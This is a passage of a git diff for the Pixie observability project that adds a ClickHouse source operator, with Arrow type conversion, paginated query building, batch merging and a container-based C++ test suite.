PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "UInt16") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "UInt32") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "UInt64") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "Int8") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "Int16") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "Int32") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "Int64") { + auto typed_col = ch_column->As(); + arrow::Int64Builder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(typed_col->At(i)); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "String") { + auto typed_col = ch_column->As(); + arrow::StringBuilder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + + for (size_t i = 0; i < num_rows; ++i) { + // Convert string_view to string + std::string value(typed_col->At(i)); + PX_RETURN_IF_ERROR(builder.Append(value)); + } + + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + + } else if (type_name == "Float32") { + auto typed_col = ch_column->As(); + arrow::DoubleBuilder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(static_cast(typed_col->At(i))); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "Float64") { + auto typed_col = ch_column->As(); + arrow::DoubleBuilder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(typed_col->At(i)); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "Bool") { + auto typed_col = ch_column->As(); + arrow::BooleanBuilder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(typed_col->At(i) != 0); + } + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + } else if (type_name == "DateTime") { + auto typed_col = ch_column->As(); + arrow::Time64Builder builder(arrow::time64(arrow::TimeUnit::NANO), + arrow::default_memory_pool()); + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + + for (size_t i = 0; i < num_rows; ++i) { + // Convert DateTime (seconds since epoch) to nanoseconds + int64_t ns = static_cast(typed_col->At(i)) * 1000000000LL; + builder.UnsafeAppend(ns); + } + + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + + } else if (type_name.find("DateTime64") == 0) { + auto typed_col = ch_column->As(); + arrow::Time64Builder builder(arrow::time64(arrow::TimeUnit::NANO), + arrow::default_memory_pool()); + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + + for (size_t i = 0; i < num_rows; ++i) { + // DateTime64 stores time with sub-second precision + // The value is already in the correct precision (e.g., nanoseconds for DateTime64(9)) + // We need to convert to nanoseconds if it's not already + int64_t value = typed_col->At(i); + + // Extract precision from type name (e.g., "DateTime64(9)" -> 9) + size_t precision = 3; // default to milliseconds + size_t start = type_name.find('('); + if (start != std::string::npos) { + size_t end = type_name.find(')', start); + if (end != std::string::npos) { + precision = std::stoi(type_name.substr(start + 1, end - start - 1)); + } + } + + // Convert to nanoseconds based on precision + int64_t ns = value; + if (precision < 9) { + // Scale up to nanoseconds + int64_t multiplier = 1; + for (size_t p = precision; p < 9; p++) { + multiplier *= 10; + } + ns = value * multiplier; + } else if (precision > 9) { + // Scale down to nanoseconds + int64_t divisor = 1; + for (size_t p = 9; p < precision; p++) { + divisor *= 10; + } + ns = value / divisor; + } + + builder.UnsafeAppend(ns); + } + + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder.Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + + } else { + return error::InvalidArgument("Unsupported ClickHouse type for conversion: $0", type_name); + } + } + + // Set end-of-window and end-of-stream flags + // Don't set them here - they should be set in GenerateNextImpl + row_batch->set_eow(false); + row_batch->set_eos(false); + + return row_batch; +} + +std::string ClickHouseSourceNode::BuildQuery() { + std::string query = base_query_; + std::vector conditions; + + // Add time filtering if start/end times are specified and timestamp column is set + if (!timestamp_column_.empty()) { + if (start_time_.has_value()) { + conditions.push_back(absl::Substitute("$0 >= $1", timestamp_column_, start_time_.value())); + } + if (end_time_.has_value()) { + conditions.push_back(absl::Substitute("$0 <= $1", timestamp_column_, end_time_.value())); + } + } + + // Add partition column filtering if specified + if (!partition_column_.empty()) { + // Get the current hostname for partition filtering + char hostname[256]; + gethostname(hostname, sizeof(hostname)); + conditions.push_back(absl::Substitute("$0 = '$1'", partition_column_, hostname)); + } + + // Parse the base query to find WHERE and ORDER BY positions + std::string lower_query = query; + std::transform(lower_query.begin(), lower_query.end(), lower_query.begin(), ::tolower); + + size_t where_pos = lower_query.find(" where "); + size_t order_by_pos = lower_query.find(" order by "); + size_t limit_pos = lower_query.find(" limit "); + + // Determine insertion point for conditions + if (!conditions.empty()) { + std::string conditions_clause = absl::StrJoin(conditions, " AND "); + + if (where_pos != std::string::npos) { + // Query already has WHERE clause + size_t insert_pos = std::string::npos; + + // Find where to insert the additional conditions + if (order_by_pos != std::string::npos && order_by_pos > where_pos) { + insert_pos = order_by_pos; + } else if (limit_pos != std::string::npos && limit_pos > where_pos) { + insert_pos = limit_pos; + } else { + insert_pos = query.length(); + } + + query.insert(insert_pos, " AND " + conditions_clause); + } else { + // No WHERE clause, need to add one + size_t insert_pos = std::string::npos; + + if (order_by_pos != std::string::npos) { + insert_pos = order_by_pos; + } else if (limit_pos != std::string::npos) { + insert_pos = limit_pos; + } else { + insert_pos = query.length(); + } + + query.insert(insert_pos, " WHERE " + conditions_clause); + } + } + + // Update lower_query after modifications + lower_query = query; + std::transform(lower_query.begin(), lower_query.end(), lower_query.begin(), ::tolower); + + // Add ORDER BY clause if needed + if (lower_query.find(" order by ") == std::string::npos) { + if (!timestamp_column_.empty()) { + query += absl::Substitute(" ORDER BY $0", timestamp_column_); + } else { + // Fall back to ordering by first column for consistent pagination + query += " ORDER BY 1"; + } + } + + // Add LIMIT and OFFSET for pagination + query += absl::Substitute(" LIMIT $0 OFFSET $1", batch_size_, current_offset_); + + return query; +} + +Status ClickHouseSourceNode::ExecuteBatchQuery() { + // Clear previous batch results + current_batch_blocks_.clear(); + current_block_index_ = 0; + + if (!has_more_data_) { + return Status::OK(); + } + + std::string query = BuildQuery(); + VLOG(1) << "Executing ClickHouse query: " << query; + + try { + size_t rows_received = 0; + client_->Select(query, [this, &rows_received](const clickhouse::Block& block) { + // Only store non-empty blocks + if (block.GetRowCount() > 0) { + VLOG(1) << "Received block with " << block.GetRowCount() << " rows"; + current_batch_blocks_.push_back(block); + rows_received += block.GetRowCount(); + } + }); + + VLOG(1) << "Total rows received: " << rows_received << ", batch size: " << batch_size_; + + // Update cursor state + current_offset_ += rows_received; + if (rows_received < batch_size_) { + // We got fewer rows than requested, so no more data available + has_more_data_ = false; + } + } catch (const std::exception& e) { + return error::Internal("Failed to execute ClickHouse batch query: $0", e.what()); + } + + return Status::OK(); +} + +Status ClickHouseSourceNode::GenerateNextImpl(ExecState* exec_state) { + // If we need to fetch more data + if (current_block_index_ >= current_batch_blocks_.size()) { + current_block_index_ = 0; + current_batch_blocks_.clear(); + + if (!has_more_data_) { + // No more data available - send empty batch with eos=true + PX_ASSIGN_OR_RETURN(auto empty_batch, + RowBatch::WithZeroRows(*output_descriptor_, true, true)); + PX_RETURN_IF_ERROR(SendRowBatchToChildren(exec_state, *empty_batch)); + return Status::OK(); + } + + // Fetch next batch from ClickHouse + PX_RETURN_IF_ERROR(ExecuteBatchQuery()); + + // If still no blocks after fetching, we're done + if (current_batch_blocks_.empty()) { + PX_ASSIGN_OR_RETURN(auto empty_batch, + RowBatch::WithZeroRows(*output_descriptor_, true, true)); + PX_RETURN_IF_ERROR(SendRowBatchToChildren(exec_state, *empty_batch)); + return Status::OK(); + } + } + + // Calculate total rows in all blocks + size_t total_rows = 0; + for (const auto& block : current_batch_blocks_) { + total_rows += block.GetRowCount(); + } + + // Create a merged RowBatch + auto merged_batch = std::make_unique(*output_descriptor_, total_rows); + + // Process each column + for (size_t col_idx = 0; col_idx < output_descriptor_->size(); ++col_idx) { + // Get the data type from output descriptor + auto data_type = output_descriptor_->type(col_idx); + + // Create appropriate builder based on data type + std::shared_ptr builder; + switch (data_type) { + case types::DataType::INT64: + builder = std::make_shared(); + break; + case types::DataType::UINT128: + builder = types::MakeArrowBuilder(types::DataType::UINT128, arrow::default_memory_pool()); + break; + case types::DataType::FLOAT64: + builder = std::make_shared(); + break; + case types::DataType::STRING: + builder = std::make_shared(); + break; + case types::DataType::BOOLEAN: + builder = std::make_shared(); + break; + case types::DataType::TIME64NS: + builder = std::make_shared(arrow::time64(arrow::TimeUnit::NANO), + arrow::default_memory_pool()); + break; + default: + return error::InvalidArgument("Unsupported data type for column $0", col_idx); + } + + // Reserve space for all rows + PX_RETURN_IF_ERROR(builder->Reserve(total_rows)); + + // Append data from all blocks + for (const auto& block : current_batch_blocks_) { + PX_ASSIGN_OR_RETURN(auto row_batch, ConvertClickHouseBlockToRowBatch(block, false)); + auto array = row_batch->ColumnAt(col_idx); + + // Append values from this block's array + switch (data_type) { + case types::DataType::INT64: { + auto typed_array = std::static_pointer_cast(array); + auto typed_builder = std::static_pointer_cast(builder); + for (int i = 0; i < typed_array->length(); i++) { + if (typed_array->IsNull(i)) { + PX_RETURN_IF_ERROR(typed_builder->AppendNull()); + } else { + typed_builder->UnsafeAppend(typed_array->Value(i)); + } + } + break; + } + case types::DataType::UINT128: { + auto typed_array = std::static_pointer_cast(array); + for (int i = 0; i < typed_array->length(); i++) { + if (typed_array->IsNull(i)) { + PX_RETURN_IF_ERROR(builder->AppendNull()); + } else { + auto val = types::GetValueFromArrowArray(array.get(), i); + PX_RETURN_IF_ERROR(table_store::schema::CopyValue(builder.get(), val)); + } + } + break; + } + case types::DataType::TIME64NS: { + auto typed_array = std::static_pointer_cast(array); + auto typed_builder = std::static_pointer_cast(builder); + for (int i = 0; i < typed_array->length(); i++) { + if (typed_array->IsNull(i)) { + PX_RETURN_IF_ERROR(typed_builder->AppendNull()); + } else { + typed_builder->UnsafeAppend(typed_array->Value(i)); + } + } + break; + } + case types::DataType::FLOAT64: { + auto typed_array = std::static_pointer_cast(array); + auto typed_builder = std::static_pointer_cast(builder); + for (int i = 0; i < typed_array->length(); i++) { + if (typed_array->IsNull(i)) { + PX_RETURN_IF_ERROR(typed_builder->AppendNull()); + } else { + typed_builder->UnsafeAppend(typed_array->Value(i)); + } + } + break; + } + case types::DataType::STRING: { + auto typed_array = std::static_pointer_cast(array); + auto typed_builder = std::static_pointer_cast(builder); + for (int i = 0; i < typed_array->length(); i++) { + if (typed_array->IsNull(i)) { + PX_RETURN_IF_ERROR(typed_builder->AppendNull()); + } else { + PX_RETURN_IF_ERROR(typed_builder->Append(typed_array->GetString(i))); + } + } + break; + } + case types::DataType::BOOLEAN: { + auto typed_array = std::static_pointer_cast(array); + auto typed_builder = std::static_pointer_cast(builder); + for (int i = 0; i < typed_array->length(); i++) { + if (typed_array->IsNull(i)) { + PX_RETURN_IF_ERROR(typed_builder->AppendNull()); + } else { + typed_builder->UnsafeAppend(typed_array->Value(i)); + } + } + break; + } + default: + return error::InvalidArgument("Unsupported data type for column $0", col_idx); + } + } + + // Finish building and add column + std::shared_ptr merged_array; + PX_RETURN_IF_ERROR(builder->Finish(&merged_array)); + PX_RETURN_IF_ERROR(merged_batch->AddColumn(merged_array)); + } + + // Set proper end-of-window and end-of-stream flags + bool is_last_batch = !has_more_data_; + if (is_last_batch) { + merged_batch->set_eow(true); + merged_batch->set_eos(true); + } else { + merged_batch->set_eow(false); + merged_batch->set_eos(false); + } + + // Update stats + rows_processed_ += merged_batch->num_rows(); + bytes_processed_ += merged_batch->NumBytes(); + + // Send to children + PX_RETURN_IF_ERROR(SendRowBatchToChildren(exec_state, *merged_batch)); + + // Mark all blocks as processed + current_block_index_ = current_batch_blocks_.size(); + + return Status::OK(); +} + +bool ClickHouseSourceNode::NextBatchReady() { + // We're ready if we have blocks in current batch or if we can fetch more data + return (current_block_index_ < current_batch_blocks_.size()) || has_more_data_; +} + +} // namespace exec +} // namespace carnot +} // namespace px diff --git a/src/carnot/exec/clickhouse_source_node.h b/src/carnot/exec/clickhouse_source_node.h new file mode 100644 index 00000000000..84a14c9063a --- /dev/null +++ b/src/carnot/exec/clickhouse_source_node.h @@ -0,0 +1,107 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#pragma once + +#include + +#include +#include +#include +#include + +#include "src/carnot/exec/exec_node.h" +#include "src/carnot/exec/exec_state.h" +#include "src/carnot/plan/operators.h" +#include "src/common/base/base.h" +#include "src/common/base/status.h" +#include "src/shared/types/types.h" +#include "src/table_store/schema/row_batch.h" + +namespace px { +namespace carnot { +namespace exec { + +using table_store::schema::RowBatch; +using table_store::schema::RowDescriptor; + +class ClickHouseSourceNode : public SourceNode { + public: + ClickHouseSourceNode() = default; + virtual ~ClickHouseSourceNode() = default; + + bool NextBatchReady() override; + + protected: + std::string DebugStringImpl() override; + Status InitImpl(const plan::Operator& plan_node) override; + Status PrepareImpl(ExecState* exec_state) override; + Status OpenImpl(ExecState* exec_state) override; + Status CloseImpl(ExecState* exec_state) override; + Status GenerateNextImpl(ExecState* exec_state) override; + + private: + // Convert ClickHouse column types to Pixie data types + StatusOr ClickHouseTypeToPixieType(const clickhouse::TypeRef& ch_type); + + // Convert ClickHouse block to Pixie RowBatch + StatusOr> ConvertClickHouseBlockToRowBatch( + const clickhouse::Block& block, bool is_last_block); + + // Execute a batch query + Status ExecuteBatchQuery(); + + // Build the query with time filtering and pagination + std::string BuildQuery(); + + // Connection information + std::string host_; + int port_; + std::string username_; + std::string password_; + std::string database_; + std::string base_query_; + + // Batch size and cursor tracking + size_t batch_size_ = 1024; + size_t current_offset_ = 0; + bool has_more_data_ = true; + + // Time filtering + std::optional start_time_; + std::optional end_time_; + std::string timestamp_column_; // Column to use for timestamp-based filtering and ordering + std::string partition_column_; // Column used for partitioning + + // ClickHouse client + std::unique_ptr client_; + + // Current batch results + std::vector current_batch_blocks_; + size_t current_block_index_ = 0; + + // Streaming support + bool streaming_ = false; + + // Plan node + std::unique_ptr plan_node_; +}; + +} // namespace exec +} // namespace carnot +} // namespace px diff --git a/src/carnot/exec/clickhouse_source_node_test.cc b/src/carnot/exec/clickhouse_source_node_test.cc new file mode 100644 index 00000000000..175f55b488e --- /dev/null +++ b/src/carnot/exec/clickhouse_source_node_test.cc @@ -0,0 +1,342 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include "src/carnot/exec/clickhouse_source_node.h" + +#include + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "src/carnot/exec/test_utils.h" +#include "src/carnot/planpb/plan.pb.h" +#include "src/carnot/planpb/test_proto.h" +#include "src/carnot/udf/registry.h" +#include "src/common/testing/test_utils/container_runner.h" +#include "src/common/testing/testing.h" +#include "src/shared/metadata/metadata_state.h" +#include "src/shared/types/arrow_adapter.h" +#include "src/shared/types/column_wrapper.h" +#include "src/shared/types/types.h" +#include "src/shared/types/typespb/types.pb.h" + +namespace px { +namespace carnot { +namespace exec { + +using table_store::Table; +using table_store::schema::RowBatch; +using table_store::schema::RowDescriptor; +using ::testing::_; + +class ClickHouseSourceNodeTest : public ::testing::Test { + protected: + static constexpr char kClickHouseImage[] = + "src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/clickhouse.tar"; + static constexpr char kClickHouseReadyMessage[] = "Ready for connections"; + static constexpr int kClickHousePort = 9000; + + void SetUp() override { + // Set up function registry and exec state + func_registry_ = std::make_unique("test_registry"); + auto table_store = std::make_shared(); + exec_state_ = std::make_unique( + func_registry_.get(), table_store, MockResultSinkStubGenerator, MockMetricsStubGenerator, + MockTraceStubGenerator, MockLogStubGenerator, sole::uuid4(), nullptr); + + // Start ClickHouse container + clickhouse_server_ = + std::make_unique(px::testing::BazelRunfilePath(kClickHouseImage), + "clickhouse_test", kClickHouseReadyMessage); + + std::vector options = { + absl::Substitute("--publish=$0:$0", kClickHousePort), + "--env=CLICKHOUSE_PASSWORD=test_password", + "--network=host", + }; + + ASSERT_OK(clickhouse_server_->Run(std::chrono::seconds{60}, options, {}, true, + std::chrono::seconds{300})); + + // Give ClickHouse time to initialize + std::this_thread::sleep_for(std::chrono::seconds(5)); + + // Create ClickHouse client for test data setup + SetupClickHouseClient(); + CreateTestTable(); + } + + void TearDown() override { + if (client_) { + client_.reset(); + } + } + + void SetupClickHouseClient() { + clickhouse::ClientOptions client_options; + client_options.SetHost("localhost"); + client_options.SetPort(kClickHousePort); + client_options.SetUser("default"); + client_options.SetPassword("test_password"); + client_options.SetDefaultDatabase("default"); + + const int kMaxRetries = 5; + for (int i = 0; i < kMaxRetries; ++i) { + LOG(INFO) << "Attempting to connect to ClickHouse (attempt " << (i + 1) << "/" << kMaxRetries + << ")..."; + try { + client_ = std::make_unique(client_options); + client_->Execute("SELECT 1"); + break; + } catch (const std::exception& e) { + LOG(WARNING) << "Failed to connect: " << e.what(); + if (i < kMaxRetries - 1) { + std::this_thread::sleep_for(std::chrono::seconds(2)); + } else { + throw; + } + } + } + } + + void CreateTestTable() { + try { + client_->Execute("DROP TABLE IF EXISTS test_table"); + + client_->Execute(R"( + CREATE TABLE test_table ( + id UInt64, + name String, + value Float64, + timestamp DateTime, + partition_key String + ) ENGINE = MergeTree() + PARTITION BY (timestamp, partition_key) + ORDER BY timestamp + )"); + + auto id_col = std::make_shared(); + auto name_col = std::make_shared(); + auto value_col = std::make_shared(); + auto timestamp_col = std::make_shared(); + auto partition_key_col = std::make_shared(); + + // Add test data with increasing timestamps + std::time_t base_time = std::time(nullptr) - 3600; // Start 1 hour ago + id_col->Append(1); + name_col->Append("test1"); + value_col->Append(10.5); + timestamp_col->Append(base_time); + partition_key_col->Append("partition_a"); + + id_col->Append(2); + name_col->Append("test2"); + value_col->Append(20.5); + timestamp_col->Append(base_time + 1800); // 30 minutes later + partition_key_col->Append("partition_a"); + + id_col->Append(3); + name_col->Append("test3"); + value_col->Append(30.5); + timestamp_col->Append(base_time + 3600); // 1 hour later + partition_key_col->Append("partition_b"); + + clickhouse::Block block; + block.AppendColumn("id", id_col); + block.AppendColumn("name", name_col); + block.AppendColumn("value", value_col); + block.AppendColumn("timestamp", timestamp_col); + block.AppendColumn("partition_key", partition_key_col); + + client_->Insert("test_table", block); + + LOG(INFO) << "Test table created and populated successfully"; + } catch (const std::exception& e) { + LOG(ERROR) << "Failed to create test table: " << e.what(); + throw; + } + } + + std::unique_ptr clickhouse_server_; + std::unique_ptr client_; + std::unique_ptr exec_state_; + std::unique_ptr func_registry_; +}; + +TEST_F(ClickHouseSourceNodeTest, BasicQuery) { + // Create ClickHouse source operator proto + auto op_proto = planpb::testutils::CreateClickHouseSourceOperatorPB(); + std::unique_ptr plan_node = + plan::ClickHouseSourceOperator::FromProto(op_proto, 1); + + // Define expected output schema + RowDescriptor output_rd( + {types::DataType::INT64, types::DataType::STRING, types::DataType::FLOAT64}); + + // Create node tester + auto tester = exec::ExecNodeTester( + *plan_node, output_rd, std::vector({}), exec_state_.get()); + + // Verify state machine behavior + EXPECT_TRUE(tester.node()->HasBatchesRemaining()); + + // First batch should return 2 rows (batch_size = 2) + tester.GenerateNextResult().ExpectRowBatch( + RowBatchBuilder(output_rd, 2, /*eow*/ false, /*eos*/ false) + .AddColumn({1, 2}) + .AddColumn({"test1", "test2"}) + .AddColumn({10.5, 20.5}) + .get()); + + // Second batch should return remaining 1 row with eos + EXPECT_TRUE(tester.node()->HasBatchesRemaining()); + tester.GenerateNextResult().ExpectRowBatch( + RowBatchBuilder(output_rd, 1, /*eow*/ true, /*eos*/ true) + .AddColumn({3}) + .AddColumn({"test3"}) + .AddColumn({30.5}) + .get()); + + EXPECT_FALSE(tester.node()->HasBatchesRemaining()); + tester.Close(); + + // Verify metrics + EXPECT_EQ(3, tester.node()->RowsProcessed()); + EXPECT_GT(tester.node()->BytesProcessed(), 0); +} + +TEST_F(ClickHouseSourceNodeTest, EmptyResultSet) { + // Create a table with no data + client_->Execute("DROP TABLE IF EXISTS empty_table"); + client_->Execute(R"( + CREATE TABLE empty_table ( + id UInt64, + name String, + value Float64, + timestamp DateTime, + partition_key String + ) ENGINE = MergeTree() + PARTITION BY (timestamp, partition_key) + ORDER BY timestamp + )"); + + // Create operator that queries empty table + planpb::Operator op; + op.set_op_type(planpb::OperatorType::CLICKHOUSE_SOURCE_OPERATOR); + auto* ch_op = op.mutable_clickhouse_source_op(); + ch_op->set_host("localhost"); + ch_op->set_port(kClickHousePort); + ch_op->set_username("default"); + ch_op->set_password("test_password"); + ch_op->set_database("default"); + ch_op->set_query("SELECT id, name, value FROM empty_table"); + ch_op->set_batch_size(1024); + ch_op->set_streaming(false); + ch_op->add_column_names("id"); + ch_op->add_column_names("name"); + ch_op->add_column_names("value"); + ch_op->add_column_types(types::DataType::INT64); + ch_op->add_column_types(types::DataType::STRING); + ch_op->add_column_types(types::DataType::FLOAT64); + ch_op->set_timestamp_column("timestamp"); + ch_op->set_start_time(1000000000000000000LL); // Year 2001 in nanoseconds + ch_op->set_end_time(9223372036854775807LL); // Max int64 + + std::unique_ptr plan_node = plan::ClickHouseSourceOperator::FromProto(op, 1); + RowDescriptor output_rd( + {types::DataType::INT64, types::DataType::STRING, types::DataType::FLOAT64}); + + auto tester = exec::ExecNodeTester( + *plan_node, output_rd, std::vector({}), exec_state_.get()); + + EXPECT_TRUE(tester.node()->HasBatchesRemaining()); + + // Should return empty batch with eos=true + tester.GenerateNextResult().ExpectRowBatch( + RowBatchBuilder(output_rd, 0, /*eow*/ true, /*eos*/ true) + .AddColumn({}) + .AddColumn({}) + .AddColumn({}) + .get()); + + EXPECT_FALSE(tester.node()->HasBatchesRemaining()); + tester.Close(); + + EXPECT_EQ(0, tester.node()->RowsProcessed()); + EXPECT_EQ(0, tester.node()->BytesProcessed()); +} + +TEST_F(ClickHouseSourceNodeTest, FilteredQuery) { + // Create operator with WHERE clause + planpb::Operator op; + op.set_op_type(planpb::OperatorType::CLICKHOUSE_SOURCE_OPERATOR); + auto* ch_op = op.mutable_clickhouse_source_op(); + ch_op->set_host("localhost"); + ch_op->set_port(kClickHousePort); + ch_op->set_username("default"); + ch_op->set_password("test_password"); + ch_op->set_database("default"); + ch_op->set_query("SELECT id, name, value FROM test_table WHERE value > 15.0 ORDER BY id"); + ch_op->set_batch_size(1024); + ch_op->set_streaming(false); + ch_op->add_column_names("id"); + ch_op->add_column_names("name"); + ch_op->add_column_names("value"); + ch_op->add_column_types(types::DataType::INT64); + ch_op->add_column_types(types::DataType::STRING); + ch_op->add_column_types(types::DataType::FLOAT64); + ch_op->set_timestamp_column("timestamp"); + ch_op->set_start_time(1000000000000000000LL); // Year 2001 in nanoseconds + ch_op->set_end_time(9223372036854775807LL); // Max int64 + + std::unique_ptr plan_node = plan::ClickHouseSourceOperator::FromProto(op, 1); + RowDescriptor output_rd( + {types::DataType::INT64, types::DataType::STRING, types::DataType::FLOAT64}); + + auto tester = exec::ExecNodeTester( + *plan_node, output_rd, std::vector({}), exec_state_.get()); + + EXPECT_TRUE(tester.node()->HasBatchesRemaining()); + + // Should return all filtered results in one batch (2 rows < batch_size) + tester.GenerateNextResult().ExpectRowBatch( + RowBatchBuilder(output_rd, 2, /*eow*/ true, /*eos*/ true) + .AddColumn({2, 3}) + .AddColumn({"test2", "test3"}) + .AddColumn({20.5, 30.5}) + .get()); + + EXPECT_FALSE(tester.node()->HasBatchesRemaining()); + tester.Close(); + + EXPECT_EQ(2, tester.node()->RowsProcessed()); + EXPECT_GT(tester.node()->BytesProcessed(), 0); +} + +} // namespace exec +} // namespace carnot +} // namespace px diff --git a/src/carnot/exec/exec_graph.cc b/src/carnot/exec/exec_graph.cc index 705cf381e38..de38d762d7b 100644 --- a/src/carnot/exec/exec_graph.cc +++ b/src/carnot/exec/exec_graph.cc @@ -24,6 +24,8 @@ #include #include "src/carnot/exec/agg_node.h" +#include "src/carnot/exec/clickhouse_export_sink_node.h" +#include "src/carnot/exec/clickhouse_source_node.h" #include "src/carnot/exec/empty_source_node.h" #include "src/carnot/exec/equijoin_node.h" #include "src/carnot/exec/exec_node.h" @@ -108,6 +110,14 @@ Status ExecutionGraph::Init(table_store::schema::Schema* schema, plan::PlanState .OnOTelSink([&](auto& node) { return OnOperatorImpl(node, &descriptors); }) + .OnClickHouseSource([&](auto& node) { + return OnOperatorImpl(node, + &descriptors); + }) + .OnClickHouseExportSink([&](auto& node) { + return OnOperatorImpl(node, + &descriptors); + }) .Walk(pf_); } diff --git a/src/carnot/funcs/builtins/BUILD.bazel b/src/carnot/funcs/builtins/BUILD.bazel index 5065fe0787d..aeedd0a01e1 100644 --- a/src/carnot/funcs/builtins/BUILD.bazel +++ b/src/carnot/funcs/builtins/BUILD.bazel @@ -46,6 +46,7 @@ pl_cc_library( pl_cc_test( name = "collections_test", + timeout = "moderate", srcs = ["collections_test.cc"], deps = [ ":cc_library", diff --git a/src/carnot/plan/operators.cc b/src/carnot/plan/operators.cc index 357cc318423..68aece51d4e 100644 --- a/src/carnot/plan/operators.cc +++ b/src/carnot/plan/operators.cc @@ -83,6 +83,10 @@ std::unique_ptr Operator::FromProto(const planpb::Operator& pb, int64_ return CreateOperator(id, pb.udtf_source_op()); case planpb::EMPTY_SOURCE_OPERATOR: return CreateOperator(id, pb.empty_source_op()); + case planpb::CLICKHOUSE_SOURCE_OPERATOR: + return CreateOperator(id, pb.clickhouse_source_op()); + case planpb::CLICKHOUSE_EXPORT_SINK_OPERATOR: + return CreateOperator(id, pb.clickhouse_sink_op()); case planpb::OTEL_EXPORT_SINK_OPERATOR: return CreateOperator(id, pb.otel_sink_op()); default: @@ -709,6 +713,67 @@ StatusOr EmptySourceOperator::OutputRelation( return r; } +/** + * ClickHouseSourceOperator implementation. + */ + +std::string ClickHouseSourceOperator::DebugString() const { + return absl::Substitute(R"(Op:ClickHouseSource( + host=$0 + port=$1 + username=$2 + batch_size=$3 + start_time=$4 + end_time=$5 + timestamp_column=$6 + partition_column=$7 +)", + pb_.host(), pb_.port(), pb_.username(), 